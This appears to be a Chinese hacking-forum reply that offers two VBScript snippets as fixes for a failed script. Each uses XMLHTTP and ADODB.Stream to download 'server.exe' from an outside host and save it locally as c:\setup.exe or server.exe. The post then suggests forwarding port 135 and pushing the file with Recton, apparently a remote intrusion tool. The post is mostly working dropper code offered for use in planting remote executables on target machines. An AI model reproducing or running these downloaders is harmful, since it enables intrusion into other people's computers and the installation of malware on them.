关于第一个VBS脚本无法执行的问题,楼主可以试试下面这个:
复制内容到剪贴板
代码:
Set Post = CreateObject("Msxml2.XMLHTTP")
Post.Open "GET","http://www.eviloctal.com/server.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\setup.exe",2貌似与
复制内容到剪贴板
代码:
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","[url]http://www.nbrcw.com/server.exe[/url]",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "server.exe",2用的是不同组件.....或者试试有没办法能把135转出来(我菜..好像还没听说过这样的方法,不知有没牛人能提供),然后Recton传....